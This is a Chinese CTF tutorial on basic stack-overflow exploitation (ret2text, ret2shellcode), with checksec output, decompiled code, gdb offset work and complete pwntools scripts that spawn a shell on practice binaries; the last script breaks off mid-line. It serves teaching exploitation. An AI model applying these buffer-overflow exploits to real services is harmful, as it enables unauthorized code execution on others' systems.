当前位置: 服务支持 >  技术文档 >  PWN栈溢出基础教程:ROP 1.0

PWN栈溢出基础教程:ROP 1.0

阅读数 89
点赞 25
copyright 著作权
article_banner

PWN栈溢出基础——ROP1.0

这篇文章介绍ret2text,ret2shellcode,ret2syscall(基础篇)
在中间会尽量准确地阐述漏洞利用和exp的原理,并且尽量细致地将每一步操作写出来。
参考ctf-wiki以及其他资源,参考链接见最后,文中展示的题目下载链接见评论区

1.ret2text

ret2text即控制程序执行程序本身已有的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的ROP。
这时,需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
简单点说,ret2text的利用思路就是首先找到溢出函数,随后确定局部变量距离需要淹没的返回地址的偏移(通常情况下为ebp-addr(buf)+4/8),最后将返回地址修改为/bin/sh的地址即可。

1.1 ret2text

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了NX保护,这个保护在windows下边为DEP,其将数据段和代码段分开了,因此不能将返回地址导向shellcode中。
IDA检查

image.png

主函数中第8行gets()存在缓冲区溢出,
变量s距离栈顶esp为0x1C,后续我们会调试查看该偏移地址。

在这里插入图片描述

参看字符串列表,可见有/bin/sh,有system函数,嘿嘿~
在这里插入图片描述

在secure()函数中有着调用/bin/sh,地址为0x0804863A,接下来我们要做的就是使程序流导向这里就Ok了。
gdb调试
在call gets() 的位置下断点

pwndbg> b *0x080486AE
pwndbg> r

在这里插入图片描述

esp指向的地址为0xffffcfd0,则s的位置为addr=0xffffcfd0+0x1C,ebp的地址为0xffffd058
相对ebp的偏移=d058-cfec=0x6c,还要淹没ebp,距离返回地址的偏移为0x6c+4
exp

##ret2text_exp.py
from pwn import *
p=process('./ret2text')
binsh=0x08048763
system=0x0804831A
target=0x804863a
payload='A'*0x6c + 'A'*4 + p32(target) 
#gdb.attach(p,'b 0x080486C4')
p.sendafter('anything?',payload)
p.interactive()

事后调试
在exp中去掉对于gdb.attach那一行的注释,你就能跟进去了,下断点的位置为leave指令处,即retn之前的一条指令。
(写给小白的:python exp.py,在弹出的gdb窗口输入c(让程序跑起来),回到之前的终端回车)
来到了断点处

在这里插入图片描述

可见,ret指令指向了0x804863a,去调用/bin/sh了。

1.2 level2

这道题目与上一道类似,checksec之后都是开启了NX保护,不同点在于溢出点确定起来更简单,而正确调用/bin/sh要稍微复杂一些哈。
IDA

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

漏洞函数长这个样子,里边的read造成了一个缓冲区溢出,同时确定了buf距离ebp偏移为0x88
查看string,发现有/bin/sh,也有system函数

在这里插入图片描述

可以看到/bin/sh的地址为0x0804A024。
因为没有直接的调用/bin/sh,但是可以利用system函数,首先覆盖返回地址为system_plt,并根据32位的参数传递规则设置参数/bin/sh。
exp

##level2_exp.py
from pwn import *
file_path='./level2'
elf = ELF(file_path)
system_plt = elf.plt['system']
main_addr = 0x08048480 ##用不到
binsh = 0x0804A024
payload = 'a'*0x88+'b'*4+p32(system_plt)+'a'*4+p32(binsh)
p=process('./level2')
#gdb.attach(p,'b *0x0804847E')
p.sendafter('Input',payload)
p.interactive()

首先用0x88+4个字符到达返回地址,将此处的地址修改为system的地址,然后将binsh的地址作为参数传入。

2.ret2shellcode

原理
ret2shellcode,即控制程序执行shellcode代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell。一般来说,shellcode需要我们自己填充。这其实使另外一种经典的利用方法。(如果熟悉《0day》这本书的师傅们,对于这种利用方式应该比较熟悉吧)
应用环境要求不能有NX保护,但是可以在程序没有自带/bin/sh和system_plt的情况下完成利用。

2.1ret2shellcode

checksec

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

主函数中gets()存在缓冲区溢出,并且strncpy将s中的内容拷贝到了buf2中。buf2位于bss段。

.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7B↑o
.bss:0804A080 _bss            ends

可以通过gdb查看bss段是否可以执行。

b main
r
vmmap

在这里插入图片描述

可见 0x804a000,权限为rwxp,读、写、执行均可。
偏移地址的计算操作见1.1,s和esp的偏移为0x1c,计算得出s的addr,ebp-s_addr就是其相较于ebp的偏移地址。
另外需要将返回地址修改为buf的地址,即addr=0x0804A080
exp

from pwn import *
p=process('./ret2shellcode')
addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,'A')+p32(addr)
p.sendline(payload)
p.interactive()

2.2 sniperoj-pwn100-shellcode-x86-64

checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

是一个64位程序,并且开启了PIE(windows下为ASLR),地址随机化,通过该内存保护机制,使得程序每次装载进入内存之后的地址都不一样,使得我们无法使用固定地址来导向shellcode。(PS:有点难度了,但事情也变得更好玩了,>_<)
IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+0h] [rbp-10h]
  __int64 v5; // [rsp+8h] [rbp-8h]

  buf = 0LL;
  v5 = 0LL;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  puts("Welcome to Sniperoj!");
  printf("Do your kown what is it : [%p] ?\n", &buf, 0LL, 0LL);
  puts("Now give me your answer : ");
  read(0, &buf, 0x40uLL);
  return 0;
}

read函数造成了一个缓冲区溢出。同时printf给出了buf的地址。稍微有点麻烦的是 read(0, &buf, 0x40uLL);有长度限制,导致我们需要使用一些短payload。
shellcode
推荐一个师傅整理的各种各样的shellcode
https://blog.csdn.net/A951860555/article/details/114106118
exp
这个题有几个技巧:1.怎么接受程序的输出。2.计算偏移地址。3.导向shellcode的时候如何精准定位到有用的位置 4.设置合理的shellcode大小

##shellcode_exp.py
##我先给出exp再具体说明思路
from pwn import *
p=process('./shellcode')
p.recvuntil('[')
addr=p.recvuntil(']',
                    
                
相关文章
QR Code
微信扫一扫,欢迎咨询~

联系我们
武汉格发信息技术有限公司
湖北省武汉市经开区科技园西路6号103孵化器
电话:155-2731-8020 座机:027-59821821
邮件:tanzw@gofarlic.com
Copyright © 2023 Gofarsoft Co.,Ltd. 保留所有权利
遇到许可问题?该如何解决!?
评估许可证实际采购量? 
不清楚软件许可证使用数据? 
收到软件厂商律师函!?  
想要少购买点许可证,节省费用? 
收到软件厂商侵权通告!?  
有正版license,但许可证不够用,需要新购? 
联系方式 155-2731-8020
预留信息,一起解决您的问题
* 姓名:
* 手机:

* 公司名称:

姓名不为空

手机不正确

公司不为空